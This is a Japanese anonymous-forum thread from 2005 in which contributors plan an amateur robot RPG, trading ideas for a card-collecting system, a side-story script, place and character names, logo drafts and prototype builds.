116 :8 ◆jS1vbFJDVk :2005/09/01(木) 02:09:37 ID:E+kMOk1a
チャット終了。結果、実装方針が変更になりました。
システム面は少し休止して、スレにあがってきた小ネタや
今までに出されていたキャラなどを登場させようと思います。

というわけで、本当に小ネタでいいのでどんどんレスください。

117 :名前は開発中のものです。:2005/09/01(木) 06:40:48 ID:bpOVCe6M
とりあえず、まとめサイトに眠ってる宝の山を実装してほしい
夕凪の姉妹団とか、ドリルティンティンとか もったいなさすぎ
BGMも使ってないの沢山あるし
あと、画像うpろだに上がったやつも全部使えば?カットインとかで

もっと職人を大事にしようね

118 :名前は開発中のものです。:2005/09/01(木) 18:58:35 ID:FPs+mi9f
まとめサイトにアクセスカウンタ付けてください

119 :名前は開発中のものです。:2005/09/01(木) 18:59:20 ID:fSNCUOnj
>>117を生かすネタを考えた

・ジュークボックス
酒場に置いてある。
調べるとJUN氏のBGMが聞ける
ボタンを押すとSEが鳴って楽しい

・ろぼカード
みんなのだいすきな、かっこいいロボットがカードになったよ!
アイテム欄で使うと、職人様たちが描いた美麗イラストが見られる
町の少年たちがこれを集めていて、アイテムと引き換えできたりする



120 :ナナシェス ◆ROBOxAwIBM :2005/09/01(木) 19:33:43 ID:Q/T1Norm
ロゴ試案うp。
http://up.php-s.net/?id=tabiji

>>117
ちょwwwwwおまwwwww自演?

…いや失礼、まるでチャットを見てきたかのような書き込みなので取り乱しました。
いま、かなりそれに近い方向で話が進んでいます。

>>118
まとめはクリエイターズサイドと表向きサイド(名前募集)に分けるつもりでいます。
別にお互いを隠すわけではなく、格好つけた感じのサイトと実用的なエリアに
分けるだけですが。
クリ(ryの方なら欲しければ付けます。できれば紹介きぼんぬ

>>119
いいねぇ
いっそ全部カードでもいいと思います。
一覧になって、このカードは絵が見られるカード、これは音楽が聴けるカード…という風に。
なんでカードから音が出るとかは考えない方向でw

121 :zk:2005/09/01(木) 20:00:33 ID:qoRRChXB
>>120カードに書かれたバーコードみたいなものを手持ちの
プレイヤーで読み込んで再生している、みたいな設定にしたらいいんじゃないの?

122 :名前は開発中のものです。:2005/09/01(木) 21:09:44 ID:JosLpkKy
全部カードってのはいいかもね
一人前のロボット乗りになると自分のキャラカードが生産されて
本人さんは特殊なギルドとかに入れるようになるとか

123 :名前は開発中のものです。:2005/09/01(木) 21:27:13 ID:fbp4Lyhg
カードシステム案
【設定】
ろぼだま世界では、「カード」と呼ばれるメディアが広く普及している。
カードには画像や文字情報、音楽などのデータが刻印されており、
「リーダー」を使ってそれを再生することが出来る。

イラストや音楽が楽しめる娯楽用のものから、
兵器の設計図や宝の在処を示した地図まで、ありとあらゆる情報はカードの形でやりとりすることができる。
集めたカードはジャンル別に分かれて保存され、ポータブルリーダーを使っていつでも見ることが出来る。

【例】
ろぼカードNo.11 D-TIN
かっこいいロボットの絵がみられる

帝国秘密文書その3
 強力な武器の設計図

実録!帝国最前線 vol.2
 夕凪の姉妹団のエピソードが読める

Music Selection 「旅路」
 音楽が聞ける

突っ込み希望
いろいろ拡張できそうね
 


124 :名前は開発中のものです。:2005/09/01(木) 22:19:13 ID:JosLpkKy
>>123
飽くまでメディア媒体としてのカードに押しとどめておくのがミソになりそう
カードそのものの話題が、ストーリー上の主要人物から出ないようにするのがオススメ


125 :名前は開発中のものです。:2005/09/01(木) 22:36:59 ID:xtAH97HX
個人的にはもっとレトロな世界観(音楽ならレコードとか)がいいと思う俺ホンダ

それとイベントで使ったイメージを収めるアルバムとかはどうよ
いつ撮ったんだとかは突っ込まない方向で

126 :8 ◆jS1vbFJDVk :2005/09/01(木) 23:58:27 ID:mRl8i0TK
ナナシェスさんへメール、まとめサイト運営交代です。
>>117
そうですね。職人さんをないがしろにしては罰があたります。
今更ですが積極的に登場させてゆきますので。スマソ
まずは夕凪の姉妹団、そしてドリチンあたりを。
>>120
ロゴ案GJ。さっそくタイトル画面に使ってみます。
それにあたって質問ですが、画像は加工してもいいですか?
>>119
>>121=124
カード!確かにそれなら曲や画像を生かせますね。
バイトミッションなどの報酬にも使えますし、いいアイデアだと思います。
>>125
いっそカードがA4ノートやレコードぐらいの大きさで、
ロボのスケールで「カード」扱いとか。
アナログなんだかデジタルなんだか曖昧にしたほうが
いいかもしれませんね。

というわけで、まずは音楽カードを作ってみます。
うp予定は来週頭。

127 :名前は開発中のものです。:2005/09/02(金) 00:31:19 ID:wZDZvUQ3
>>ロボのスケールで「カード」扱い
ちょwwwwwwまじでwwwww

カードは小ネタを沢山入れるのに便利そうですね。
個人的に、カードでサイドストーリーが読めるってのがいいなあ。

ベタだけど、超強い敵がひたすらでてくる闘技場みたいのが欲しい。
いつでも挑戦できて、勝つとすごいアイテムが手に入る。
序盤から挑戦できて、地道なレベルアップとカスタマイズでギリギリ勝てるくらいのバランスだと面白いと思う。



128 :名前は開発中のものです。:2005/09/02(金) 12:13:46 ID:5kPgICbF
>>111を見て激しく妄想

「情報屋三姉妹」
町のどこかで、密かにカードを売買する美人三姉妹。
普段は町人になりすましているが、合図を送ると(例:バーで一番奥に座ってカラシたっぷりのサンドイッチを頼む)
取引をしてくれる。

なぜか、どの町にも必ず一人いる。

三女ミクル
白い肌に黒髪の元気っ子。
イラストカードや音楽カード等、コレクション系のカードを販売

次女コアア
褐色の肌のお姉様。
武器の設計図やボスの弱点等、戦闘周りのカードを販売

長女コヒ
ウェーブのかかった超ロングヘアが顔を隠す女性(?)
「月刊こねこの肉球」「帝国軍士官のひみつポエム」「激写!主人公のおふろシーン生写真」等、怪しげなカードを販売



129 :ナナシェス ◆ROBOxAwIBM :2005/09/02(金) 19:36:57 ID:o4qRvLhk
第二弾フォーーーーーーー!
http://up.php-s.net/?id=tabiji

>>126
どうぞ、好きなようにいじってください。

メール確認しました。

◆ちょっと聞きたいこと

・キャラ絵を描いてくれた人で今でもその気がある人いる?
・そろそろキャラの名前を決めたい
・全体的にグラフィッカー的な人テラホシス

130 :名前は開発中のものです。:2005/09/02(金) 19:41:59 ID:s84OZ45m
>>129
今度は上手いぜーーーーー!
G・J!

>>127
闘技場は欲しいなあ。
メタルマックスの魅力の一つは、いきなりとてつもない敵と戦えることだったし。
ロボット競技会とか?

どんなキャラに名前が必要なのか、説明希望
あと、それをまとめるサイトもきぼう


131 :ナナシェス ◆ROBOxAwIBM :2005/09/02(金) 20:54:01 ID:o4qRvLhk
とりあえず今のところ表サイトに載せようと思っていて
名前が無いのが…

主人公:デフォ名なしでも良いけど個人的にはあった方がいい
親友:
傭兵:傭兵じゃなくなるかもしれないしおっさんじゃなくなるかも知れないけど
ロボット技師のオヤジ:ドワーフをでかくして人間にしたみたいな濃い感じのキャラクター。
最初の島と街:カウポーはやっぱカウパーみたいでどうかと思う

てか主人公はジブリっぽいデザインと
青年風なやつどっちなんだ?
もしかしたらそれぞれ別キャラとしていただくかも。

◆シナリオ面
親友にとって主人公が必要な理由がわからない。
>>1の中ではどんな風に考えてた?

132 :名前は開発中のものです。:2005/09/02(金) 20:58:53 ID:o4qRvLhk
すまん、安易に何々っぽいとか言うのは失礼でしたね。
ごめんなさい。

少年っぽい方ってことで。

133 :( ´∀`) ◆9mfk.Z6Wmc :2005/09/02(金) 22:06:20 ID:ikWHLZmC
>>131
・都会に出て一人ぼっちは寂しいので同郷の仲間を
・子供の頃、いつか二人でロボット作って世界中を旅しようと約束した
・故郷ではいつもつるんでいた

などです
のぞきみさんのOP見てもらえれば違和感ないはずですけど
シナリオも一新されるらしいので、
新しい動機を考えてもいいんじゃないですか?

134 :名前は開発中のものです。:2005/09/02(金) 22:21:40 ID:Lbb5DC9n
またシナリオ一新するわけ?

135 :名前は開発中のものです。:2005/09/02(金) 22:22:22 ID:wK2xhSdi
一新って何か決定稿って出てたの?

136 :名前は開発中のものです。:2005/09/02(金) 22:58:02 ID:SXO3Yxjn
仕切りなおし続ければ今みたいにいいつまでも妄想し続けられるしな。

137 :名前は開発中のものです。:2005/09/02(金) 22:59:56 ID:SXO3Yxjn
そういや前に出てたプロットは全部廃棄したんだっけ?

138 :名前は開発中のものです。:2005/09/02(金) 23:08:39 ID:0DyIbkyz
まとめサイト掲示板のメインシナリオスレに、アイディアがたくさんのってる
これ廃棄すんの?何で?

「七人の聖者」とか結構面白そうだし、あれに付け足すかたちでいいんじゃないの?



139 :名前は開発中のものです。:2005/09/02(金) 23:14:08 ID:SXO3Yxjn
>>138
前の住人の臭いが残る物は全て廃棄した方がより良いアイディアが生まれるしな

140 :名前は開発中のものです。:2005/09/02(金) 23:19:09 ID:wK2xhSdi
開発速度の遅いスレはシナリオへの思い入れの劣化も激しい傾向にあるね
やっぱり風呂敷は広げないよう一気に作るのがいいと思うよ

141 :名前は開発中のものです。:2005/09/02(金) 23:21:29 ID:SXO3Yxjn
俺は初期のシナリオすごい好きだけどな。
スレの意向ならしょうがない。速度の停滞もシナリオの風呂敷広げすぎたのが原因なのも否めないし。

142 :( ´∀`) ◆9mfk.Z6Wmc :2005/09/02(金) 23:32:37 ID:ikWHLZmC
流れとしてはとりあえずシステムや小ネタを実装、
それらが完成してからシナリオや設定はどうするか考えよう
って事だと認識しています
なので今までのシナリオを使うか未定でしょう
設定だけ残すと新しいシナリオ考えるのも大変なので
自由な発想で色々提案してくださいって事じゃないのでしょうか
私もよくわかっていないのですけど

143 :名前は開発中のものです。:2005/09/02(金) 23:39:04 ID:wK2xhSdi
OggってJMFの記事追って行った時に見かけたけど
ライブラリじゃなくて音声フォーマットだったんだね
いまmp3→oggを試してるけど実用性高そうなフォーマットだった
非可逆同士の変換だからちと劣化を感じるけどw

JMF PureJava版にプラグインの追加が要るのかな?
これjavax.soundに入れてくれればいいのに・・・
配布が困難そうなら今回は切るしかないかな

144 :名前は開発中のものです。:2005/09/02(金) 23:51:27 ID:wK2xhSdi
すっげー誤爆しちゃったorz
しかもどこに誤爆しちゃったのが探し続けてたorz
ごめんねホント

145 :8 ◆jS1vbFJDVk :2005/09/02(金) 23:58:06 ID:DoKfeEkV
音楽カード、好調実装中。ついでにジラルダ登場確定。
>>127=130
闘技場は要望多いみたいなので入れたいですね。
とはいっても、戦闘システムやバランス調整がまだまだ万全じゃないので
少々ムチャな強さの敵が出てもご容赦を。
>>128
妄想GJ!さっそく一人取り入れてみます。
3人のうち誰かはお楽しみということで。
>>129
質感出てますね!ではこっちを存分に使わせていただきます。
運営の件、よしなにお願いします。
>>130-132
確かに、そろそろ主人公たちに名前がないと不便ですね。
カウポーも変える必要性がありますし。
>>133-142
俺個人としては>>138さんの意見を押したいと思います。
過去に出た設定やキャラを活用した新しいシナリオ案が
いろいろ出てきたら面白いかと思うので。

146 :名前は開発中のものです。:2005/09/03(土) 00:21:27 ID:sIJv30cC
8氏、これだけははっきりさせてくれ

・帝国と自然派国、宗教国の戦争
・帝国が有利で、最終的には帝国が全土を統一して終わる
・主人公達は、歴史を変えない程度のイベントに関わる(英雄にはならない)

これは確定?
あと、

・メインシナリオはいくつ?以前は「帝国編」「自然派国編」「宗教国編」の3つのマルチシナリオの予定だったが?
・メインシナリオとは無関係のイベントが沢山入る予定だったが、それはどうなる?FFのように、完全な一本道になるのか?

これが解らないと、ネタの出しようがない。
宜しく。

個人的には、[重要イベント]→好きにイベント解決→(時間経過)→[重要イベント]→好きにイベント解決.....
ってのが好きだけど。

147 :8 ◆jS1vbFJDVk :2005/09/03(土) 00:36:32 ID:QoG6tfCJ
>>146
ごめんなさい。大事なことを書き忘れていました。
以前のチャットで決めた話として、
まず一本のメインシナリオを通すということになりました。
というわけで、マルチシナリオではなくなると思ってください。
脇道イベントは残します、そしてもっとネタが欲しい状態です。
メインシナリオが最初から最後まで出来上がるまでの間、
小ネタやシステム実装でスレを盛り上げようと考えているので。

>・帝国と自然派国、宗教国の戦争
>・帝国が有利で、最終的には帝国が全土を統一して終わる
>・主人公達は、歴史を変えない程度のイベントに関わる(英雄にはならない)

俺もこれは確定にしたいのですが、皆さんはどうですか?

148 :ドリームリーダー763:2005/09/03(土) 01:06:36 ID:GJFu8Nqq
>>129
ウホッカコヨイ
だ の縦棒をマフラーにして濁点をマフラーから出てる煙にするとか
! の下の点をネジのヘッドにするとか
やりすぎると読みにくくなったりするかも知れんがまだ改良できそう

戦闘イメージのほうは
日曜にはUPできそう

149 :脇道シナリオ案:2005/09/03(土) 02:07:25 ID:CFFmGu5E
「少年とロボット」

カウポー市立病院の一室。
そこには足が不自由で、生まれたときから病院で暮らす少年リッケルが居る。
辛いリハビリの毎日で、リッケルの唯一の楽しみが「ロボット」。
毎日毎日、「ろぼカード」を飽きること無く眺めるリッケル。

リッケル「いいなあ...お兄ちゃんたちはロボット乗りなんでしょ?」
    「ぼくもいつか、ロボット乗りになるんだ」                        

そう言って、痩けた頬を歪めて痛々しく笑うリッケル。
親友とリッケルが、ロボについて熱く語り合う。

病室を出るとき、看護婦に話しかけられる。

 「すみません...あの、ロボット乗りの方ですよね?」
 「実は、明日はあの子の誕生日なんです。」
 「不憫な子なんです...毎日毎日、見てるこっちが辛くなるようなリハビリに耐えて...」
 「せめて誕生日くらいは、すてきな思い出を作ってあげたいんです。」
 「どうか明日、あの子にロボットを見せてやってくれませんか?」

親友「...お前、まさか断らないよな?」
  「どうせやるなら、ハデにやろうぜ!」
  「明日の夜、こっそりロボに乗せてやろう」
  「大丈夫だって!夜なら人通りも無いし」
  「病室の窓から降ろせば大丈夫だよ。」
  「この間搭載した、駆動消音機の具合も試したいしな」

150 :脇道シナリオ案:2005/09/03(土) 02:08:36 ID:CFFmGu5E
次の日の夜。
パーティーカラーにデコレーションしたロボに乗って、病院の前に行く

リッケル「...!」
親友  「よう。誕生日おめでとう」
    「よゐこの願いを叶えにきた、不思議な妖精その1だ」
主人公 「その2です」
親友  「お前は毎日がんばってるからな。ご褒美にロボに乗せてやるよ。」
リッケル「ほ、本当!?」
親友  「妖精に二言はないぜ」
    「どれ、腕につかまりな」

親友に抱えられて、主人公と共にコックピットに入るリッケル。


151 :脇道シナリオ案:2005/09/03(土) 02:10:01 ID:CFFmGu5E

主人公 「じゃあ、町を一回りしてみようか」

動き出すロボット。興奮するリッケル。

リッケル「うわ....すごい....!」
    「ホンモノは、こんなに大きいんだ...こんなに熱いんだ!」
    「あと...こんなに臭いんだ...」
主人公 「汗はロボット乗りの勲章です」

ロボットは人気の無い繁華街をゆっくり進む。

リッケル「お兄ちゃんは、どうしてロボット乗りになったの?」
主人公 「...」

1「ロボットが好きだから、かな」
2「正義を守るため、かな」
3「君とこうして出合うためさ」

リッケル「リハビリはね、とっても痛いんだよ」
    「毎日先生がくるたびに、先生なんかしんじゃえ、って思うんだ」
主人公 「...」
リッケル「ロボットに乗れば...ぼくも...」

その時、窓ガラスが砕け散る音が響き渡る

152 :脇道シナリオ案:2005/09/03(土) 02:10:35 ID:CFFmGu5E
主人公「な、なんだ!?」
親友 「おい、あれを見ろ!」

すぐ近くの銀行で、シャッターをこじ開けてロボットが押し入っている。

強盗1 「うへへへへへ!調子いいぜえ!」
強盗2 「こんなにあっさり行くとはな。さすが帝国最新型だ」
強盗1 「金目のもんいただいて、さっさとずらかろうぜえ!」

親友  「おい、いっちょやるか?」
主人公 「ええ!?そういうのは警察にまかせたほうが」
親友  「ドアホウ!ぐずぐずしてる間に逃げられちまうよ」
    「大丈夫だ。消音機は良好...ご近所に迷惑はかけません」
主人公 「そういう問題じゃないだろ!リッケルも乗ってるんだぞ!」
親友  「いいから行け!少年に現実の辛さを教えてやれ!」

強盗1 「な、ポリか!?こんなに早く?」
強盗2  「なんだあのポンコツは?大丈夫だ。このゴリアス2が負けるはずねえ。」
    「やっちまいな!」

主人公 「もうどうにでもなれええええ!」
    「揺れるぞ... つかまってろよ!」

戦闘開始。


153 :脇道シナリオ案:2005/09/03(土) 02:11:39 ID:CFFmGu5E
戦闘終了。

親友  「はっはっは。俺様の作ったロボが、あんなヘタクソ共に負けるはず無いだろ」
    「これで報奨金をがっぽりゲットだな。またロボが強くなるぞう」
主人公 「...次は自分で操縦しろっ!」

やがて朝日が昇り、警察がやってくる。
リッケルと話す主人公。

リッケル「ぼく、ロボットに乗れば強くなれると思ったんだ」
    「ロボットに乗れば痛くないって」
    「でも、ちがうんだね」
    「強くならないと、ロボットには乗れないんだ」
    「ぼく、頑張るよ。お兄ちゃんみたいに強くなる!」

主人公 「がんばれよ。ただ、あっちのバカみたいにはなるなよ」

親友  「...だからあ!たまたま散歩してたらあいつらに出くわしたんだって!」
警察  「どこの世界に、真夜中にロボットで散歩する馬鹿がいるんだ!」
    「お前らも、あいつらとグルなんじゃないのか?」
親友  「銀行強盗を未然に防いだヒーローにそういうこと言うのかよ!オヤジサイテー!このハゲ!」
警察  「な、なんだとぉ!貴様、貴様...ッ!公務執行妨害で...」

154 :脇道シナリオ案:2005/09/03(土) 02:17:16 ID:c0t9Mm6x
黒服の二人組が、人ごみからこの様子を見ている。

黒服1 「あんなポンコツに負けたのか?」
黒服2 「そうらしい。ま、操縦者の問題だろう」
黒服1 「クソッ...あれ一機でいくらすると思ってるんだ」
黒服2 「データは取れた。次は上手くやるさ」

二人組は去ってゆく。
親友と警察官が喧嘩。それを眺める主人公とリッケルのカットイン。
<イベント終了>

155 :名前は開発中のものです。:2005/09/03(土) 02:18:01 ID:c0t9Mm6x
恥ずかしながらネタ投下。素人にはこんなベタベタな展開が精一杯でした(涙

156 :名前は開発中のものです。:2005/09/03(土) 07:38:15 ID:we0v0z+7
良い。GJ


157 :名前は開発中のものです。:2005/09/03(土) 07:40:52 ID:3Q7WZAto
面白そうですね、がんがってください

158 :名前は開発中のものです。:2005/09/03(土) 11:58:24 ID:EGdPQGoI
戦闘中に主人公が低確率でスキルを覚えるっていうのは?

例:負けそうになると敵の動きが数秒間遅く見える

159 :名前は開発中のものです。:2005/09/03(土) 12:05:25 ID:itFEzw1X
>>149
そういうベタって好きだな
話のネタとしてはここらへんのラインをキープできればいいんじゃにあ?

160 :名前は開発中のものです。:2005/09/03(土) 20:58:28 ID:AfH7EWo6
>>158
アニメ的だなw
ボス戦で体力がレッドゾーンに入ると、ちびっ子達の応援により復活。とか。

ネタ考えた。
>>154とか、イベントで仲良くなった人から、後々手紙が届く。
ギルド(?)に行くと、「主人公様にお便りがとどいております」とか言われて、写真とかメッセージが届くの。

161 :ドリームリーダー763:2005/09/03(土) 21:45:13 ID:9a45PeQh
スクショ
ttp://up.php-s.net/up.php?id=tabiji&time=1125751384&ext=.jpg
敵歩くようになったけどまだ攻撃はしてこない

162 :名前は開発中のものです。:2005/09/03(土) 21:48:01 ID:tO2Mzr5S
ウホ いいバトル

163 :名前は開発中のものです。:2005/09/03(土) 21:51:04 ID:itFEzw1X
あれ?HSPになったの?w
間合いとかどうなるのか気になるね
続報を待ちたい

164 :名前は開発中のものです。:2005/09/03(土) 21:59:12 ID:AfH7EWo6
ランダル銃キタ━━━━(゚∀゚)━━━━!!!!!!
GJ!ランダルだけでもGJ!!

欲を言えば、フレームが灰一色ってのがちと寂しい...
職人様、降臨キボン
切実に...

ageちまうよ!







165 :8 ◆jS1vbFJDVk :2005/09/04(日) 00:02:22 ID:S2RqPbrC
>>148=161
敵もランダル持っててカコイイ!!
うp期待して待ってます。
>>149-155
乙。そしてベタGJ。
>>157
がんがります。
>>158=160
リアルなメカ戦よりもそういった方が面白いですかね。
とりあえず>>158のスキル実装してみます。
>>159
そうですね。こんな感じのエピソードを盛りだくさんで。

166 :名前は開発中のものです。:2005/09/04(日) 00:19:19 ID:UR2uoSFn
今度こそ企画だおれにならずにすみそうですね。
この勢いが続くことを祈りつつ、また厨シナリオを書いてみます。

167 :ナナシェス ◆ROBOxAwIBM :2005/09/04(日) 13:55:55 ID:fZpv25P+
誰かこの世界の名前考えてくれ


アメストリス
ホグワーツ
ナルニア
ラギアス
セフィーロ

案が出ないとロボッティアとかレジェンドラになります

168 :名前は開発中のものです。:2005/09/04(日) 14:12:54 ID:ubTUPpA7
「世界」でいいんじゃないの?



169 :名前は開発中のものです。:2005/09/04(日) 15:27:30 ID:uQ2+vEZq
バンギアス



170 :名前は開発中のものです。:2005/09/04(日) 15:30:57 ID:ZDTqzkeX
地球でいいよ。 ファンタジー物じゃないんだし。
世界が球体なら「地球」なわけ。
だってほら。 現実の世界に名前なんてある?

171 :名前は開発中のものです。:2005/09/04(日) 15:38:27 ID:uQ2+vEZq
世界の名前じゃなくて大陸の名前だろ?
続編つくろうって時に困るぞ

172 :名前は開発中のものです。:2005/09/04(日) 15:47:03 ID:kfDRVlod
ハクライ大陸
ヨロパ大陸
オーシュ大陸


173 :名前は開発中のものです。:2005/09/04(日) 15:48:51 ID:uQ2+vEZq
>>172
なるほど、やられたw

174 :名前は開発中のものです。:2005/09/04(日) 15:53:36 ID:ZDTqzkeX
>>171
続編なんていらねーよ。 それより今の作品をやり込めるように作ったほうが数倍いい。
それに一作目も完成してないのに続編とかありえなくね?
なんていうかエターナルの気を感じます。

175 :名前は開発中のものです。:2005/09/04(日) 16:00:48 ID:uQ2+vEZq
惑星チキ
ユラ大陸、アフー大陸、アメ大陸、ナンベ大陸、オスト大陸
イギー島、ジプ島、ポリネ諸島

176 :名前は開発中のものです。:2005/09/04(日) 16:05:05 ID:ZDTqzkeX
惑星リフ
ドーガ大陸、マリク大陸、オグマ大陸、ジュリアン列島、ゴードン島、シーダ諸島

177 :名前は開発中のものです。:2005/09/04(日) 16:05:25 ID:kfDRVlod
>>175
いいねw
この作品だと、言葉遊びてきな名前のが似合うかなあ。

そういえば主人公達の名前も募集してたのよね?

主人公:ネコダイスキー(通称ダイ)
親友 :キカイスキー(通称カイ)

178 :名前は開発中のものです。:2005/09/04(日) 16:19:20 ID:fZpv25P+
あと三国名もきぼんぬ

今はガスト帝国、カーサ自然派国、宗教国ラークとあてています。
中立国は正直存在忘れてました。

179 :名前は開発中のものです。:2005/09/04(日) 16:20:38 ID:LgQp7sPN
以前>>161 みたいなのが作りたかったけど、
2Dでどうすりゃいいのかわからなくなって
3Dに逃げた俺が来ましたよ。

180 :名前は開発中のものです。:2005/09/04(日) 16:22:01 ID:kfDRVlod
>>179
なぬ!技術者登場!?
何ができるのですか?3Dモデリング?

181 :名前は開発中のものです。:2005/09/04(日) 16:36:19 ID:uQ2+vEZq
>>178
中立国は正式に却下したってこと?

182 :名前は開発中のものです。:2005/09/04(日) 16:37:50 ID:fZpv25P+
いえ、単なる忘却です。これからは分かりませんが、
少なくとも今は変わっていません。

183 :名前は開発中のものです。:2005/09/04(日) 16:58:55 ID:uQ2+vEZq
そんなあいまいな状況ならネーミングも要らないと思うけど・・・
現状はシステム優先じゃなかったっけ?

184 :名前は開発中のものです。:2005/09/04(日) 17:02:06 ID:kfDRVlod
116 :8 ◆jS1vbFJDVk (sage):2005/09/01(木) 02:09:37 ID:E+kMOk1a
チャット終了。結果、実装方針が変更になりました。
システム面は少し休止して、スレにあがってきた小ネタや
今までに出されていたキャラなどを登場させようと思います。

ご協力お願いしまつ

185 :名前は開発中のものです。:2005/09/04(日) 17:08:21 ID:uQ2+vEZq
>>184
うーん、なら忘れてたからこれは決めなくていいよってのも変でしょ

186 :名前は開発中のものです。:2005/09/04(日) 17:23:44 ID:fZpv25P+
あぁすまん俺が三国って書いたからか。4国ね

187 :8 ◆jS1vbFJDVk :2005/09/05(月) 00:07:11 ID:zqyt8lCv
音楽カード、現在うpされたBGMはすべて実装。
タイトル画像もロゴ付きに差し替え。明日更新予定。
>>166
本当に今度こそ。まだまだ死んでいる素材はたくさんあるので、
それらを生き返らせるまでは退けないと思っています。
>>167-176
軽い気持ちでネタ出した方がいいかもしれませんね。
個人的には>>175がツボです。
>>177
ロシア人?
>>178
今即興で考えてみました。
マグダネル帝国 自然派ロティリア 宗教国ケンタキナ 中立国モース
>>179
3D画像投下に期待してもいいですか?ワクワク

188 :名前は開発中のものです。:2005/09/05(月) 00:10:25 ID:CajCpchD
まぁ8に言っておくけど用心しろよ

189 :8 ◆jS1vbFJDVk :2005/09/05(月) 00:12:56 ID:zqyt8lCv
>>188
押忍。

190 :JUN:2005/09/05(月) 00:28:01 ID:k73tMtq7
やべえあれ実装されちゃうのか。恥ずい。
手直ししなきゃな...
>>8
主題歌終わったら、残りのBGM作りにも着手します。
今迄のやつも修正したいんですが、大丈夫ですかね?

ヴォーカル、なんだか凄い方々が応募してきてびっくりです。乞うご期待...


191 :8 ◆jS1vbFJDVk :2005/09/05(月) 00:36:14 ID:zqyt8lCv
>>190
乙です。曲修正もどんどんしてください。
不完全な出来の素材を使われるのも気分が悪いでしょうし。
そして主題歌にも期待してます。ワクワク

192 :名前は開発中のものです。:2005/09/05(月) 00:39:26 ID:oIrpGiAG
新まとめサイトをろぼだま公式として模様替えしてみる時期かも知れんね
ややクローズドな開発スタイルだから、まとまったフィードバックをしたほうが住人もノれる

193 :ドリームリーダー763:2005/09/05(月) 02:34:35 ID:sCf6Ob1g
うわ、毛根な時間だ
試作品UPしたいけどどこに上げたら良い?
まだ敵攻撃してこないけど

194 :名前は開発中のものです。:2005/09/05(月) 10:24:38 ID:xjHr6ZUC
>>193
フリーのうpろだでいいんじゃない?
http://www.uploda.net/  とか。
わくわく

195 :8 ◆jS1vbFJDVk :2005/09/05(月) 11:19:36 ID:8IFQfGrK
更新。小ネタメインとか言いながらシステムも少しいじってます。
防御を実装したり、ピンチになると敵が止まって見えたり。
ttp://www.geocities.jp/robotrpg2ch/g/drive15.zip
>>192
確かに。そういえば画像うpろだにナナシェスさん作の
サイトデザイン案があがってましたね。
>>193-194
どんな感じになったのか楽しみです!

196 :名前は開発中のものです。:2005/09/05(月) 12:30:59 ID:EywbzZ9A
>>195
グッジョォォォォブ!!今度の8は本気らしいぜ!
早速ダウソ

サイトデザイン笑ったw
ほんとにキカイスキーにするのかよw

197 :名前は開発中のものです。:2005/09/05(月) 13:59:55 ID:q8y0H70v
JUNって他にもいるのか?
ttp://www5f.biglobe.ne.jp/~itazu/etolier/game_no2/index.html

198 :ドリームリーダー763:2005/09/05(月) 16:10:53 ID:szj9l8XX
ttp://kasamatusan.sakura.ne.jp/cgi-bin2/src/ichi9882.zip.html
敵の攻撃は今週末には出来ると思う
バグ報告とかヨロシク

199 :名前は開発中のものです。:2005/09/05(月) 17:57:47 ID:GxHD3AAk
公式をちょっと模様替えしました。

FAQ

Q.ナローバンドは市ねということか
A.そうです。

Q.アルウェンて誰だよ
A.傭兵がラフしかなかった&主人公の絵がもったいないので若返りました。
絵師が降臨したらまた急に老けるかもしれません。
生暖かく見守ってください。

Q.ポルカってなんですか? 帝国領じゃなかったりこれまでの設定と違いすぎ
A.出任せです。ここはまじめに後で直すと思います。

Q.キカイスキーって誰だよ
A.貴様ら、うかつなことを言うとどんどん本編に採用するので覚悟しておけ

Q.働いたのにスタッフに載っていない!
A.載せます。名を名乗れ。

Q.カッコばっかで内容が無い
A.まだ実際に無いもんは無いんだから仕方ないと思います。

200 :名前は開発中のものです。:2005/09/05(月) 18:02:12 ID:GxHD3AAk
重要なのを忘れてた

Q.勝手に画像加工すんな市ね
A.要請があれば消します。でもできれば使わせてください

ところで今日チャットとかどうですか?
個人的は今まであまり参加していない人の話も聞いてみたい。

明確に個人として何かを担当する労力が足りません。
まずはチャットで雰囲気をつかんでみたりとか

201 :名前は開発中のものです。:2005/09/05(月) 19:57:54 ID:GxHD3AAk
てかXVGAだと最悪だな。広告の分を計算してなかった(言い訳)

202 :JUN:2005/09/05(月) 20:26:29 ID:3czWlJ1k
>>198
GJ!
ガンガン行きましょう!

>>197
別人です。ありがちな名前ですかね...
まさか盗用とか無いと思いますが、誰か確認お願いできますか?いちおう。
当方マカーなもので

公式乙です!カッコいいです!
サイズが小さいのは仕様ですか?ちょっと見にくいです...

ちょっと気になったんですが、

・ロボは魔鉱石とよばれる不思議エネルギーで動く
・昔、魔法とよばれる超技術があった
・バイオテクノロジーの産物であるモンスターが跋扈している
・ろぼだま?

これってかなり初期の頃に出された案ですが、採用されるのでしょうか?
新公式には決定事項のように書かれてますが...
「魔法」なんかが絡むと世界観が変わってきますし、キッチリ決めといた方が良いと思います。

自分は魔法反対派。
最後の戦い、もうダメだと思ったそのとき!自らの意思で動いたロボットが主人公を守る!
という燃え展開が、「魔法パワーね。あっそう」で説明されてしまう。

>>200
チャット了解です。
まだチャットに参加したことの無い人にも、気軽に参加していただきたいですね。

203 :名前は開発中のものです。:2005/09/05(月) 20:38:18 ID:1MyuUt9Y
アク禁解除キター

>>128
もぅどんどん妄想しちゃってください!
人によって片寄った情報ってのもいいっすねぇ
しかし情報屋飛び越えて何でも屋になりつつあるような
情報を売りつつオマケでカードで小遣い稼ぎぐらいがいいなぁ

白肌、褐色肌だとぱっと見姉妹に見えなそうだから
3人とも頭に赤いリボン巻いてるとか
共通のものつけたりすると面白いかも。

>>145
採用キター
あ、俺の案じゃないって?
128ドモー!

>>131
つい最近ここ見始めたばっかなので各キャラの性格がよく分かんないんですわ
切れ者とか、女たらしとか、冷静沈着とか、喧嘩っ早いとか、
普段は温厚でロボに乗ると人が変わるとか、水被ると女の子になっちゃうとかとか...
性格分かれば何個か名前挙げていきたいっす。
ZOIDの主人公は野蛮から取って『バン』という名前にしたとかなんとか。
ttp://ueyamamichirou.hp.infoseek.co.jp/zoidsnikki/zoidsnikki.html

>>177
言葉遊び良いと思うけど
それはストレートすぎでしょw

204 :111:2005/09/05(月) 20:41:04 ID:1MyuUt9Y
↑のも自分です

情報屋について追加案で
帝国領や自然国ごとに情報屋姉妹or兄弟配置とかいいかも。
姉妹ごとに共通のテーマ(茶とか酒とか)の名前にすれば
話の中で久しぶりに出てきてもわりとあっさり思い出せるだろうし。
とりあえず情報屋さん関係は飲み物もじった名前で。
適当に置いとくので使ってやってください。

酒もじったので (自然?)
ルービ  イワン  ジン   テキーラ  ウォッカ  ラム   リキュール
